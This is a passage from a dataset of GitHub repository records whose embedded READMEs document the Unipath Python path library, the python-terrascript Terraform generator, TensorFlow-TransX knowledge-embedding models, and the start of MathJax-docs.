path.\n\n.isabsolute()\n    Is the path absolute?\n\n.norm()\n    See Normalization above.  Same as ``os.path.normpath``.\n\n.norm_case()\n    On case-insensitive platforms (Windows) convert the path to lower case.\n    On case-sensitive platforms (Unix) leave the path as is.  This also turns\n    forward slashes to backslashes on Windows.\n\n.split_root()\n    Split this path at the root and return a tuple of two paths: the root and\n    the rest of the path.  The root is the same as the first subscript of the\n    ``.components()`` result.  Calling ``Path(root, rest)`` or\n    ``os.path.join(root, rest)`` will produce the original path.\n\nExamples::\n    \n    Path(\"foo/bar.py\").components() => \n        [Path(\"\"), Path(\"foo\"), Path(\"bar.py\")]\n    Path(\"foo/bar.py\").split_root() => \n        (Path(\"\"), Path(\"foo/bar.py\"))\n\n    Path(\"/foo/bar.py\").components() => \n        [Path(\"/\"), Path(\"foo\"), Path(\"bar.py\")]\n    Path(\"/foo/bar.py\").split_root() => \n        (Path(\"/\"), Path(\"foo/bar.py\"))\n\n    Path(\"C:\\\\foo\\\\bar.py\").components() => \n        [\"Path(\"C:\\\\\"), Path(\"foo\"), Path(\"bar.py\")]\n    Path(\"C:\\\\foo\\\\bar.py\").split_root() => \n        (\"Path(\"C:\\\\\"), Path(\"foo\\\\bar.py\"))\n\n    Path(\"\\\\\\\\UNC_SHARE\\\\foo\\\\bar.py\").components() =>\n        [Path(\"\\\\\\\\UNC_SHARE\"), Path(\"foo\"), Path(\"bar.py\")]\n    Path(\"\\\\\\\\UNC_SHARE\\\\foo\\\\bar.py\").split_root() =>\n        (Path(\"\\\\\\\\UNC_SHARE\"), Path(\"foo\\\\bar.py\"))\n\n    Path(\"~/bin\").expand_user() => Path(\"/home/guido/bin\")\n    Path(\"~timbot/bin\").expand_user() => Path(\"/home/timbot/bin\")\n    Path(\"$HOME/bin\").expand_vars() => Path(\"/home/guido/bin\")\n    Path(\"~//$BACKUPS\").expand() => Path(\"/home/guido/Backups\")\n\n    Path(\"dir\").child(\"subdir\", \"file\") => Path(\"dir/subdir/file\")\n\n    Path(\"/foo\").isabsolute() => True\n    Path(\"foo\").isabsolute() => False\n\nNote: a Windows drive-relative path like \"C:foo\" is considered absolute by\n``.components()``, ``.isabsolute()``, and ``.split_root()``, even though \nPython's ``ntpath.isabs()`` would return false.\n\nPath objects only\n=================\n\nNote on arguments\n-----------------\nAll arguments that take paths can also take strings.\n\nCurrent directory\n-----------------\n\nPath.cwd()\n    Return the actual current directory; e.g., Path(\"/tmp/my_temp_dir\").\n    This is a class method.\n\n.chdir()\n    Make self the current directory.\n\nCalculating paths\n-----------------\n.resolve()\n    Return the equivalent path without any symbolic links.  This normalizes\n    the path as a side effect.\n\n.absolute()\n    Return the absolute equivalent of self.  If the path is relative, this\n    prefixes the current directory; i.e., ``FSPath(FSPath.cwd(), p)``.\n\n.relative()\n    Return an equivalent path relative to the current directory if possible.\n    This may return a path prefixed with many \"../..\".  If the path is on a\n    different drive, this returns the original path unchanged.\n\n.rel_path_to(other)\n    Return a path from self to other.  In other words, return a path for\n    'other' relative to self.\n\nListing directories\n-------------------\n\n.listdir(pattern=None, filter=ALL, names_only=False)\n    Return the filenames in this directory.\n\n    'pattern' may be a glob expression like \"\\*.py\".\n\n    'filter' may be a function that takes a ``FSPath`` and returns true if it\n    should be included in the results.  The following standard filters are\n    defined in the ``unipath`` module: \n    \n        - ``DIRS``: directories only\n        - ``FILES``: files only\n        - ``LINKS``: symbolic links only\n        - ``FILES_NO_LINKS``: files that aren't symbolic links\n        - ``DIRS_NO_LINKS``: directories that aren't symbolic links\n        - ``DEAD_LINKS``: symbolic links that point to nonexistent files\n\n    This method normally returns FSPaths prefixed with 'self'.  If\n    'names_only' is true, it returns the raw filenames as strings without a\n    directory prefix (same as ``os.listdir``).\n\n    If both 'pattern' and 'filter' are specified, only paths that pass both are\n    included.  'filter' must not be specified if 'names_only' is true.\n\n    Paths are returned in sorted order.\n    \n\n.walk(pattern=None, filter=None, top_down=True)\n\n    Yield ``FSPath`` objects for all files and directories under self,\n    recursing subdirectories.  Paths are yielded in sorted order.\n\n    'pattern' and 'filter' are the same as for ``.listdir()``.\n\n    If 'top_down' is true (default), yield directories before yielding\n    the items in them.  If false, yield the items first.\n\n\nFile attributes and permissions\n-------------------------------\n.atime()\n    Return the path's last access time.\n\n.ctime()\n    Return the path's ctime.  On Unix this returns the time the path's\n    permissions and ownership were last modified.  On Windows it's the path\n    creation time.\n\n.exists()\n    Does the path exist?  For symbolic links, True if the linked-to file\n    exists.  On some platforms this returns False if Python does not have\n    permission to stat the file, even if it exists.\n\n.isdir()\n    Is the path a directory?  Follows symbolic links.\n\n.isfile()\n    Is the path a file?  Follows symbolic links.\n\n.islink()\n    Is the path a symbolic link?\n\n.ismount()\n    Is the path a mount point?  Returns true if self's parent is on a\n    different device than self, or if self and its parent are the same\n    directory.\n\n.lexists()\n    Same as ``.exists()`` but don't follow a final symbolic link.\n\n.lstat()\n    Same as ``.stat()`` but do not follow a final symbolic link.\n\n.size()\n    Return the file size in bytes.\n\n.stat()\n    Return a stat object to test file size, type, permissions, etc.\n    See ``os.stat()`` for details.\n\n.statvfs()\n    Return a ``StatVFS`` object.  This method exists only if the platform\n    supports it.  See ``os.statvfs()`` for details.\n\n\nModifying paths\n---------------\n\nCreating/renaming/removing\n++++++++++++++++++++++++++\n\n.chmod(mode)\n    Change the path's permissions.  'mode' is octal; e.g., 0777.\n\n.chown(uid, gid)\n    Change the path's ownership to the numeric uid and gid specified.\n    Pass -1 if you don't want one of the IDs changed.\n\n.mkdir(parents=False)\n    Create the directory, or succeed silently if it already exists.  If\n    'parents' is true, create any necessary ancestor directories.\n\n.remove()\n    Delete the file.  Raises OSError if it's a directory.\n\n.rename(dst, parents=False)\n    Rename self to 'dst' atomically.  See ``os.rename()`` for additional\n    details.  If 'parents' is True, create any intermediate destination\n    directories necessary, and delete as many empty leaf source directories as\n    possible.\n\n.rmdir(parents=False)\n    Remove the directory, or succeed silently if it's already gone.  If \n    'parents' is true, also remove as many empty ancestor directories as\n    possible.\n\n.set_times(mtime=None, atime=None)\n    Set the path's modification and access times.  If 'mtime' is None, use\n    the current time.  If 'atime' is None or not specified, use the same time\n    as 'mtime'.  To set the times based on another file, see ``.copy_stat()``.\n\nSymbolic and hard links\n+++++++++++++++++++++++\n\n.hardlink(src)\n    Create a hard link at 'src' pointing to self.\n\n.write_link(target)\n    Create a symbolic link at self pointing to 'target'.  The link will contain\n    the exact string value of 'target' without checking whether that path exists\n    or is a even a valid path for the filesystem.\n\n.make_relative_link_to(dst)\n    Make a relative symbolic link from self to dst.  Same as\n    ``self.write_link(self.rel_path_to(dst))``.  (New in Unipath 0.2.0.)\n\n.read_link()\n    Return the path that this symbolic link points to.\n\nHigh-level operations\n---------------------\n.copy(dst, times=False, perms=False)\n    Copy the file to a destination.  'times' and 'perms' are same as for\n    ``.copy_stat()``.\n\n.copy_stat(dst, times=True, perms=True)\n    Copy the access/modification times and/or the permission bits from this\n    path to another path.\n\n.move(dst)\n    Recursively move a file or directory to another location.  This uses\n    .rename() if possible.\n\n.needs_update(other_paths)\n    Return True if self is missing or is older than any other path.\n    'other_paths' can be a ``(FS)Path``, a string path, or a list/tuple\n    of these.  Recurses through subdirectories but compares only files.\n\n.read_file(mode=\"r\")\n    Return the file's content as a ``str`` string.  This encapsulates the\n    open/read/close.  'mode' is the same as in Python's ``open()`` function.\n\n.rmtree(parents=False)\n    Recursively remove this path, no matter whether it's a file or a \n    directory.  Succeed silently if the path doesn't exist.  If 'parents' is\n    true, also try to remove as many empty ancestor directories as possible.\n\n.write_file(content, mode=\"w\")\n    Replace the file's content, creating the file if\n    necessary.  'mode' is the same as in Python's ``open()`` function.\n    'content' is a ``str`` string.  You'll have to encode Unicode strings\n    before calling this.\n\nTools\n=====\nThe following functions are in the ``unipath.tools`` module.\n\ndict2dir\n--------\ndict2dir(dir, dic, mode=\"w\")  =>  None\n    \n    Create a directory that matches the dict spec.  String values are turned\n    into files named after the key.  Dict values are turned into \n    subdirectories.  'mode' specifies the mode for files.  'dir' can be an\n    ``[FS]Path`` or a string path.\n\ndump_path(path, prefix=\"\", tab=\"    \", file=None)  =>  None\n\n    Display an ASCII tree of the path.  Files are displayed as \n    \"filename (size)\".  Directories have \":\" at the end of the line and\n    indentation below, like Python syntax blocks.  Symbolic links are\n    shown as \"link -> target\".  'prefix' is a string prefixed to every\n    line, normally to controll indentation.  'tab' is the indentation\n    added for each directory level.  'file' specifies an output file object,\n    or ``None`` for ``sys.stdout``.\n\n    A future version of Unipath will have a command-line program to \n    dump a path.\n\n\nAcknowledgments\n===============\n\nJason Orendorff wrote the original path.py.  Reinhold Birkenfeld and\nBj\u00f6rn Lindkvist modified it for Python PEP 335. Mike Orr changed the API and\nreleased it as Unipath.  Ricardo Duarte ported it to Python 3, changed the\ntests to py.test, and added Tox support.\n\nComparision with os/os.path/shutil and path.py\n==============================================\n::\n\n    p = any path, f =  file, d = directory, l = link\n    fsp, fsf, fsd, fsl = filesystem path (i.e., ``Path`` only)\n    - = not implemented\n\nFunctions are listed in the same order as the Python Library Reference, version\n2.5.  (Does not reflect later changes to Python or path.py.)\n\n::\n\n    os/os.path/shutil      path.py        Unipath           Notes\n    =================      ============== ==========        =======\n    os.path.abspath(p)     p.abspath()    p.absolute()     Return absolute path.\n    os.path.basename(p)    p.name         p.name\n    os.path.commonprefix(p)  -            -                Common prefix. [1]_\n    os.path.dirname(p)     p.parent       p.parent         All except the last component.\n    os.path.exists(p)      p.exists()     fsp.exists()     Does the path exist?\n    os.path.lexists(p)     p.lexists()    fsp.lexists()    Does the symbolic link exist?\n    os.path.expanduser(p)  p.expanduser() p.expand_user()  Expand \"~\" and \"~user\" prefix.\n    os.path.expandvars(p)  p.expandvars() p.expand_vars()  Expand \"$VAR\" environment variables.\n    os.path.getatime(p)    p.atime        fsp.atime()      Last access time.\n    os.path.getmtime(p)    p.mtime        fsp.mtime()      Last modify time.\n    os.path.getctime(p)    p.ctime        fsp.ctime()      Platform-specific \"ctime\".\n    os.path.getsize(p)     p.size         fsp.size()       File size.\n    os.path.isabs(p)       p.isabs()      p.isabsolute     Is path absolute?\n    os.path.isfile(p)      p.isfile()     fsp.isfile()     Is a file?\n    os.path.isdir(p)       p.isdir()      fsp.isdir()      Is a directory?\n    os.path.islink(p)      p.islink()     fsp.islink()     Is a symbolic link?\n    os.path.ismount(p)     p.ismount()    fsp.ismount()    Is a mount point?\n    os.path.join(p, \"Q/R\") p.joinpath(\"Q/R\")  [FS]Path(p, \"Q/R\")  Join paths.\n                                              -or-\n                                              p.child(\"Q\", \"R\")\n    os.path.normcase(p)    p.normcase()    p.norm_case()   Normalize case.\n    os.path.normpath(p)    p.normpath()    p.norm()        Normalize path.\n    os.path.realpath(p)    p.realpath()    fsp.real_path() Real path without symbolic links.\n    os.path.samefile(p, q) p.samefile(q)   fsp.same_file(q)  True if both paths point to the same filesystem item.\n    os.path.sameopenfile(d1, d2)  -          -               [Not a path operation.]\n    os.path.samestat(st1, st2)    -          -               [Not a path operation.]\n    os.path.split(p)       p.splitpath()   (p.parent, p.name) Split path at basename.\n    os.path.splitdrive(p)  p.splitdrive()   -                 [2]_\n    os.path.splitext(p)    p.splitext()     -                 [2]_\n    os.path.splitunc(p)    p.splitunc()     -                 [2]_\n    os.path.walk(p, func, args)  -          -                 [3]_\n\n    os.access(p, const)    p.access(const)  -                 [4]_\n    os.chdir(d)            -                fsd.chdir()       Change current directory.\n    os.fchdir(fd)          -                -                 [Not a path operation.]\n    os.getcwd()           path.getcwd()     FSPath.cwd()      Get current directory.\n    os.chroot(d)          d.chroot()        -                 [5]_\n    os.chmod(p, 0644)     p.chmod(0644)     fsp.chmod(0644)     Change mode (permission bits).\n    os.chown(p, uid, gid) p.chown(uid, gid) fsp.chown(uid, gid) Change ownership.\n    os.lchown(p, uid, gid) -                -                 [6]_\n    os.link(src, dst)     p.link(dst)       fsp.hardlink(dst)   Make hard link.\n    os.listdir(d)         -                 fsd.listdir(names_only=True)  List directory; return base filenames.\n    os.lstat(p)           p.lstat()         fsp.lstat()         Like stat but don't follow symbolic link.\n    os.mkfifo(p, 0666)    -                 -                 [Not enough of a path operation.]\n    os.mknod(p, ...)      -                 -                 [Not enough of a path operation.]\n    os.major(device)      -                 -                 [Not a path operation.]\n    os.minor(device)      -                 -                 [Not a path operation.]\n    os.makedev(...)       -                 -                 [Not a path operation.]\n    os.mkdir(d, 0777)     d.mkdir(0777)     fsd.mkdir(mode=0777)     Create directory.\n    os.makedirs(d, 0777)  d.makedirs(0777)  fsd.mkdir(True, 0777)    Create a directory and necessary parent directories.\n    os.pathconf(p, name)  p.pathconf(name)  -                  Return Posix path attribute.  (What the hell is this?)\n    os.readlink(l)        l.readlink()      fsl.read_link()      Return the path a symbolic link points to.\n    os.remove(f)          f.remove()        fsf.remove()       Delete file.\n    os.removedirs(d)      d.removedirs()    fsd.rmdir(True)    Remove empty directory and all its empty ancestors.\n    os.rename(src, dst)   p.rename(dst)     fsp.rename(dst)      Rename a file or directory atomically (must be on same device).\n    os.renames(src, dst)  p.renames(dst)    fsp.rename(dst, True) Combines os.rename, os.makedirs, and os.removedirs.\n    os.rmdir(d)           d.rmdir()         fsd.rmdir()        Delete empty directory.\n    os.stat(p)            p.stat()          fsp.stat()         Return a \"stat\" object.\n    os.statvfs(p)         p.statvfs()       fsp.statvfs()      Return a \"statvfs\" object.\n    os.symlink(src, dst)  p.symlink(dst)    fsp.write_link(link_text)   Create a symbolic link. \n                                            (\"write_link\" argument order is opposite from Python's!)\n    os.tempnam(...)       -                 -                  [7]_\n    os.unlink(f)          f.unlink()        -                  Same as .remove().\n    os.utime(p, times)    p.utime(times)    fsp.set_times(mtime, atime)  Set access/modification times.\n    os.walk(...)          -                 -                  [3]_\n\n    shutil.copyfile(src, dst)  f.copyfile(dst) fsf.copy(dst, ...)  Copy file.  Unipath method is more than copyfile but less than copy2.\n    shutil.copyfileobj(...)   -             -                  [Not a path operation.]\n    shutil.copymode(src, dst) p.copymode(dst)  fsp.copy_stat(dst, ...)  Copy permission bits only.\n    shutil.copystat(src, dst) p.copystat(dst)  fsp.copy_stat(dst, ...)  Copy stat bits.\n    shutil.copy(src, dst)  f.copy(dst)      -                  High-level copy a la Unix \"cp\".\n    shutil.copy2(src, dst) f.copy2(dst)     -                  High-level copy a la Unix \"cp -p\".\n    shutil.copytree(...)  d.copytree(...)   fsp.copy_tree(...)   Copy directory tree.  (Not implemented in Unipath 0.1.0.)\n    shutil.rmtree(...)    d.rmtree(...)     fsp.rmtree(...)    Recursively delete directory tree.  (Unipath has enhancements.)\n    shutil.move(src, dst) p.move(dst)       fsp.move(dst)      Recursively move a file or directory, using os.rename() if possible.\n\n    A + B                 A + B             A+B                Concatenate paths.\n    os.path.join(A, B)    A / B             [FS]Path(A, B)     Join paths.\n                                            -or-\n                                            p.child(B)\n    -                     p.expand()        p.expand()         Combines expanduser, expandvars, normpath.\n    os.path.dirname(p)    p.parent          p.parent           Path without final component.\n    os.path.basename(p)   p.name            p.name             Final component only.\n    [8]_                  p.namebase        p.stem             Final component without extension.\n    [9]_                  p.ext             p.ext              Extension only.\n    os.path.splitdrive(p)[0] p.drive        -                  [2]_\n    -                     p.stripext()      -                  Strip final extension.\n    -                     p.uncshare        -                  [2]_\n    -                     p.splitall()      p.components()     List of path components.  (Unipath has special first element.)\n    -                     p.relpath()       fsp.relative()       Relative path to current directory.\n    -                     p.relpathto(dst)  fsp.rel_path_to(dst) Relative path to 'dst'.\n    -                     d.listdir()       fsd.listdir()        List directory, return paths.\n    -                     d.files()         fsd.listdir(filter=FILES)  List files in directory, return paths.\n    -                     d.dirs()          fsd.listdir(filter=DIRS)   List subdirectories, return paths.\n    -                     d.walk(...)       fsd.walk(...)        Recursively yield files and directories.\n    -                     d.walkfiles(...)  fsd.walk(filter=FILES)  Recursively yield files.\n    -                     d.walkdirs(...)   fsd.walk(filter=DIRS)  Recursively yield directories.\n    -                     p.fnmatch(pattern)  -                 True if self.name matches glob pattern.\n    -                     p.glob(pattern)   -                   Advanced globbing.\n    -                     f.open(mode)      -                   Return open file object.\n    -                     f.bytes()         fsf.read_file(\"rb\")   Return file contents in binary mode.\n    -                     f.write_bytes()   fsf.write_file(content, \"wb\")  Replace file contents in binary mode.\n    -                     f.text(...)       fsf.read_file()       Return file content.  (Encoding args not implemented yet.)\n    -                     f.write_text(...) fsf.write_file(content)  Replace file content.  (Not all Orendorff args supported.)\n    -                     f.lines(...)      -                   Return list of lines in file.\n    -                     f.write_lines(...)  -                 Write list of lines to file.\n    -                     f.read_md5()      -                   Calculate MD5 hash of file.\n    -                     p.owner           -                   Advanded \"get owner\" operation.\n    -                     p.readlinkabs()   -                   Return the path this symlink points to, converting to absolute path.\n    -                     p.startfile()     -                   What the hell is this?\n\n    -                     -                 p.split_root()      Unified \"split root\" method.\n    -                     -                 p.ancestor(N)       Same as specifying .parent N times.\n    -                     -                 p.child(...)        \"Safe\" way to join paths.\n    -                     -                 fsp.needs_update(...) True if self is missing or older than any of the other paths.\n\n\n.. [1] The Python method is too dumb; it can end a prefix in the middle of a\n       [The rest of this footnote has been lost.]\n.. [2] Closest equivalent is ``p.split_root()`` for approximate equivalent.\n.. [3] More convenient alternatives exist.\n.. [4] Inconvenient constants; not used enough to port.\n.. [5] Chroot is more of an OS operation than a path operation.  Plus it's \n   dangerous.\n.. [6] Ownership of symbolic link doesn't matter because the OS never \n   consults its permission bits.\n.. [7] ``os.tempnam`` is insecure; use ``os.tmpfile`` or ``tempfile`` module\n   instead.\n.. [8] ``os.path.splitext(os.path.split(p))[0]``\n.. [9] ``os.path.splitext(os.path.split(p))[1]``\n.. [10] Closest equivalent is ``p.split_root()[0]``.\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "starhawking/python-terrascript", "link": "https://github.com/starhawking/python-terrascript", "tags": [], "stars": 509, "description": "Create Terraform files using Python scripts.", "lang": "Python", "repo_lang": "", "readme": "python-terrascript\n------------------\n\n.. image:: https://img.shields.io/github/license/mjuenema/python-terrascript\n   :target: https://opensource.org/licenses/BSD-2-Clause\n\n.. image:: https://img.shields.io/travis/mjuenema/python-terrascript\n   :target: https://www.travis-ci.org/mjuenema/python-terrascript/builds\n   \n.. image:: https://img.shields.io/pypi/v/terrascript\n   :target: https://pypi.org/project/terrascript/\n   \n.. image:: https://img.shields.io/pypi/pyversions/terrascript\n   :target: https://pypi.org/project/terrascript/\n   \n.. image:: https://img.shields.io/pypi/dm/terrascript\n   :target: https://pypi.org/project/terrascript/\n   \n.. image:: https://img.shields.io/github/issues/mjuenema/python-terrascript\n   :target: https://github.com/mjuenema/python-terrascript/issues\n   \n.. image:: https://img.shields.io/github/stars/mjuenema/python-terrascript\n   :target: https://github.com/mjuenema/python-terrascript/stargazers\n \n\nAbout \n~~~~~\n\nPython-Terrascript is a Python package for generating Terraform configurations in JSON format.\n\nCreating Terraform through a Python script offers a degree of flexibility \nsuperior to writing Terraform configurations by hand.\n\n* Control structures like ``if``/``else``, ``for``/``continue``/``break`` or ``try``/``except``/``finally``.\n* More string methods.\n* Python functions may be used as an alternative to Terraform_ Modules.\n* Access to the Python Standard Library and third-party packages.\n\nThe file PROVIDERS.md_ lists all currently supported Terraform providers.\n\n.. _PROVIDERS.md: PROVIDERS.md \n\nInstalling Terrascript\n~~~~~~~~~~~~~~~~~~~~~~\n\nTerrascript is available from the Python Package Repository PyPi_ or\nalternatively from its Github_ repository.\n\n.. _PyPi: https://pypi.org/project/terrascript/#history\n.. _Github: https://github.com/mjuenema/python-terrascript\n\n\nInstalling Terrascript from PyPi\n..................\n\nIt is easiest to install Terrascript directly from the Python Package Index.\n\n.. code-block:: console\n\n   $ python3 -m pip install terrascript\n\nInstalling Terrascript from Github\n...................................\n\nTerrascript can also be installed from its Github_ repository.\n\n.. code-block:: console\n\n   $ git clone https://github.com/mjuenema/python-terrascript.git\n   $ cd python-terrascript/\n   $ git fetch\n   $ git fetch --tags\n   \nThe ``master`` branch should be identical to the version on PyPi.\n\n.. code-block:: console\n\n   $ git checkout master\n   $ python3 setup.py install\n\nThe ``develop`` branch includes the latest changes but may not always\nbe in a stable state. Do not use the ``develop`` branch unless you want \nto submit a merge request on github.\n\n.. code-block:: console\n\n   $ git checkout develop\n   $ python3 setup.py install\n\nCompatibility\n~~~~~~~~~~~~~\n\nTerraform releases\n..................\n\n`Terraform 0.13`_ added the `required providers`_ block together with tighter\nintegration with the `Terraform Provider Registry`_. Terrascript 0.10.x\nreflects this change and is *not backwards compatible* with earlier Terraform\nreleases.   \n\n`Terraform 0.12`_ introduced some changes to how it deals with configuration \nfiles in JSON format. This is reflected in Terrascript by currently having\nseparate releases for Terraform 0.12 and Terraform 0.11. Earlier releases of \nTerraform are not supported. \n\n.. _`Terraform 0.12`: https://www.hashicorp.com/blog/announcing-terraform-0-12\n.. _`Terraform 0.13`: https://www.hashicorp.com/blog/announcing-hashicorp-terraform-0-13\n.. _`required_providers`: https://www.terraform.io/upgrade-guides/0-13.html\n.. _`Terraform Provider Registry`: https://registry.terraform.io/browse/providers\n\n========== ============ ============================================================================================\nTerraform  Terrascript  Notes\n========== ============ ============================================================================================\n0.13.x     0.10.x       Introduced namespaces, many more providers, suppports Terraform 0.13 only \n0.13.x     0.9.x        Cleanup efforts and bug fixes, dropping support for Python <3.6, supporting Terraform 0.13.x\n0.12.x     0.8.x        Terrascript 0.8 are a (almost) complete rewrite\n0.12.x     0.7.x        Never released\n0.11.x     0.6.x        Last releases to support Terraform 0.11 and earlier\n========== ============ ============================================================================================\n\nTerrascript supports Python 3.6 and later.\n\nModule layout\n.............\n\nPython-Terrascript's top-level directory layout is structured into providers, \nresources and data sources.\n\n::\n\n    import terrascript\n    import terrascript.provider     \n    import terrascript.resource     \n    import terrascript.data         \n    \nThis is then further structured into *namespaces* to reflect the changes in \n_`Terraform 0.13`. Below are examples for importing the modules for the\n `Amazon Web Services Provider`_ which is maintained by Hashicorp. \n\n.. _`Amazon Web Services Provider`: https://registry.terraform.io/providers/hashicorp/aws/latest\n\n::\n\n    import terrascript.provider.hashicorp.aws     \n    import terrascript.resource.hashicorp.aws     \n    import terrascript.data.hashicorp.aws\n\nA first example\n~~~~~~~~~~~~~~~\n\nThe following example has been taken from the official Terraform documentation \nfor the `AWS Provider`_ and then converted into a Python script that generates \nthe equivalent configuration in JSON syntax.\n\n.. _`AWS Provider`: https://www.terraform.io/docs/providers/aws/index.html \n\nFirst the original Terraform HCL format, which since Terraform 0.13 must include\na ``required_providers`` block inside the ``terraform`` block.\n\n::\n\n    terraform {\n      required_providers {\n        aws = {\n          source = \"hashicorp/aws\"\n          version = \"3.36.0\"\n        }\n      }\n    }\n\n    provider \"aws\" {\n      region  = \"us-east-1\"\n    }\n\n    resource \"aws_vpc\" \"example\" {\n      cidr_block = \"10.0.0.0/16\"\n    }\n\n\nThe Terrascript code would look like this. The ``required_providers`` argument\nis supplied as a nested dictionary. In this example only the \n `Amazon Web Services Provider`_ is used, which is maintained by Hashicorp.\n\n::\n\n    import terrascript\n    import terrascript.provider.hashicorp.aws\n    import terrascript.resource.hashicorp.aws\n\n    config = terrascript.Terrascript()\n    \n    # The ``required_providers`` argument is supplied as a nested dictionary.\n    config += terrascript.Terraform(required_providers={'aws': {'source': 'hashicorp/aws',\n                                                                'version': '3.36.0' }\n                                                       })\n\n    # The provider is a module and a class:  ***.***\n    config += terrascript.provider.hashicorp.aws.aws(region='us-east-1')\n    config += terrascript.resource.hashicorp.aws.aws_vpc('example', cidr_block='10.0.0.0/16')\n\n    with open('config.tf.json', 'wt') as fp:\n        fp.write(str(config))\n\n\nThe content of ``config.tf.json`` is shown below. It is equivalent to the\noriginal HCL format.\n\n::\n\n    {\n      \"terraform\": {\n        \"required_providers\": {\n          \"aws\": {\n            \"source\": \"hashicorp/aws\",\n            \"version\": \"3.36.0\"\n          }\n        }\n      },\n      \"provider\": {\n        \"aws\": [\n          {\n            \"region\": \"us-east-1\"\n          }\n        ]\n      },\n      \"resource\": {\n        \"aws_vpc\": {\n          \"example\": {\n            \"cidr_block\": \"10.0.0.0/16\"\n          }\n        }\n      }\n    }\n\n**Terrascript does not verify that the generated JSON code is a valid Terraform configuration.**\n**This is a deliberate design decision and is explained in the** `Frequently Asked Questions (FAQ) <https://python-terrascript.readthedocs.io/en/develop/faq.html>`_\n\n.. _Frequently Asked Questions (FAQ): https://python-terrascript.readthedocs.io/en/develop/faq.html\n\nLinks\n~~~~~\n\n* Terraform_.\n* `Terraform Provider Registry`_.\n* Documentation_ for Python-Terrascript.\n* Github_ page of Python-Terrascript.\n* `Terraform JSON`_ syntax.\n\n.. _Terraform: https://www.terraform.io \n.. _Documentation: https://python-terrascript.readthedocs.io/en/develop/\n.. _Github: https://github.com/mjuenema/python-terrascript\n.. _`Terraform JSON`: https://www.terraform.io/docs/configuration/syntax-json.html\n.. _`Terraform Provider Registry`: https://registry.terraform.io/browse/providers\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "thunlp/TensorFlow-TransX", "link": "https://github.com/thunlp/TensorFlow-TransX", "tags": ["knowledge-embedding"], "stars": 509, "description": "An implementation of TransE and its extended models for Knowledge Representation Learning on TensorFlow", "lang": "Python", "repo_lang": "", "readme": "# TensorFlow-TransX\n\nThis repository is a subproject of THU-OpenSK, and all subprojects of THU-OpenSK are as follows.\n\n- [OpenNE](https://www.github.com/thunlp/OpenNE)\n- [OpenKE](https://www.github.com/thunlp/OpenKE)\n  - [KB2E](https://www.github.com/thunlp/KB2E)\n  - [TensorFlow-Transx](https://www.github.com/thunlp/TensorFlow-Transx)\n  - [Fast-TransX](https://www.github.com/thunlp/Fast-TransX)\n- [OpenNRE](https://www.github.com/thunlp/OpenNRE)\n  - [JointNRE](https://www.github.com/thunlp/JointNRE)\n\nThe implementation of TransE [1], TransH [2], TransR [3], TransD [4] for knowledge representation learning (KRL). The overall framework is based on TensorFlow. We use C++ to implement some underlying operations such as data preprocessing and negative sampling. For each specific model, it is implemented by TensorFlow with Python interfaces so that there is a convenient platform to run models on GPUs. \n\nThese codes will be gradually integrated into the new framework [[OpenKE]](https://github.com/thunlp/openke).\n\n# Customizing Your Own Model\n\nIf you have a new idea and need to implement its code, you just need to change Python interfaces for your customized model. Read these codes, you will find that to change the class TransXModel will meet your needs.\n\n# Evaluation Results\n\nMore results about models can be found in (\"https://github.com/thunlp/KB2E\").\n\n# Data\n\nDatasets are required in the following format, containing three files:\n\ntriple2id.txt: training file, the first line is the number of triples for training. Then the follow lines are all in the format (e1, e2, rel).\n\nentity2id.txt: all entities and corresponding ids, one per line. The first line is the number of entities.\n\nrelation2id.txt: all relations and corresponding ids, one per line. The first line is the number of relations.\n\nYou can download FB15K and WN18 from [[Download]](https://github.com/thunlp/Fast-TransX/tree/master/data), and the more datasets can also be found in (\"https://github.com/thunlp/KB2E\").\n\n# Compile\n\nbash make.sh\n\n# Train\n\nTo train models based on random initialization:\n\n1. Change class Config in transX.py\n\n\t\tclass Config(object):\n\t\t\n\t\t\tdef __init__(self):\n\t\t\t\t...\n\t\t\t\tlib.setInPath(\"your training data path...\")\n\t\t\t\tself.testFlag = False\n\t\t\t\tself.loadFromData = False\n\t\t\t\t...\n\n2. python transX.py\n\nTo train models based on pretrained results:\n\n1. Change class Config in transX.py\n\n\t\tclass Config(object):\n\t\t\n\t\t\tdef __init__(self):\n\t\t\t\t...\n\t\t\t\tlib.setInPath(\"your training data path...\")\n\t\t\t\tself.testFlag = False\n\t\t\t\tself.loadFromData = True\n\t\t\t\t...\n\n2. python transX.py\n\n# Test\n\nTo test your models:\n\n1. Change class Config in transX.py\n\t\n\t\tclass Config(object):\n\t\t\n\t\t\tdef __init__(self):\n\t\t\t\t...\n\t\t\t\ttest_lib.setInPath(\"your testing data path...\")\n\t\t\t\tself.testFlag = True\n\t\t\t\tself.loadFromData = True\n\t\t\t\t...\n\n2. python transX.py\n\n\n\n# Citation\n\nIf you use the code, please kindly cite the papers listed in our reference.\n\n# Reference\n\n[1] Bordes, Antoine, et al. Translating embeddings for modeling multi-relational data. Proceedings of NIPS, 2013.\n\n[2]\tZhen Wang, Jianwen Zhang, et al. Knowledge Graph Embedding by Translating on Hyperplanes. Proceedings of AAAI, 2014.\n\n[3] Yankai Lin, Zhiyuan Liu, et al. Learning Entity and Relation Embeddings for Knowledge Graph Completion. Proceedings of AAAI, 2015.\n\n[4] Guoliang Ji, Shizhu He, et al. Knowledge Graph Embedding via Dynamic Mapping Matrix. Proceedings of ACL, 2015.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "mathjax/MathJax-docs", "link": "https://github.com/mathjax/MathJax-docs", "tags": ["mathjax", "documentation", "sphinx-doc"], "stars": 509, "description": "MathJax documentation. Beautiful math in all browsers. Beautifully documented.", "lang": "Python", "repo_lang": "", "readme": "# MathJax Documentation\n\n[![Documentation Status](https://readthedocs.org/projects/mathjax/badge/?version=latest)](https://docs.mathjax.org)\n\n\n## Beautiful and accessible math in all browsers.\n\nMathJax is an open-source JavaScript display engine for LaTeX, MathML, and\nAsciiMath notation that works in all modern browsers, as well as server-side in node applications.  It was designed with\nthe goal of consolidating the recent advances in web technologies into a\nsingle, definitive, math-on-the-web platform supporting the major browsers\nand operating systems.  It requires no setup on the part of the user (no\nplugins to download or software to install), so the page author can write\nweb documents that include mathematics and be confident that users will be\nable to view it naturally and easily.  Simply include MathJax and some\nmathematics in a web page, and MathJax does the rest.\n\nSee <http://www.mathjax.org/> or <https://github.com/mathjax/MathJax/> for 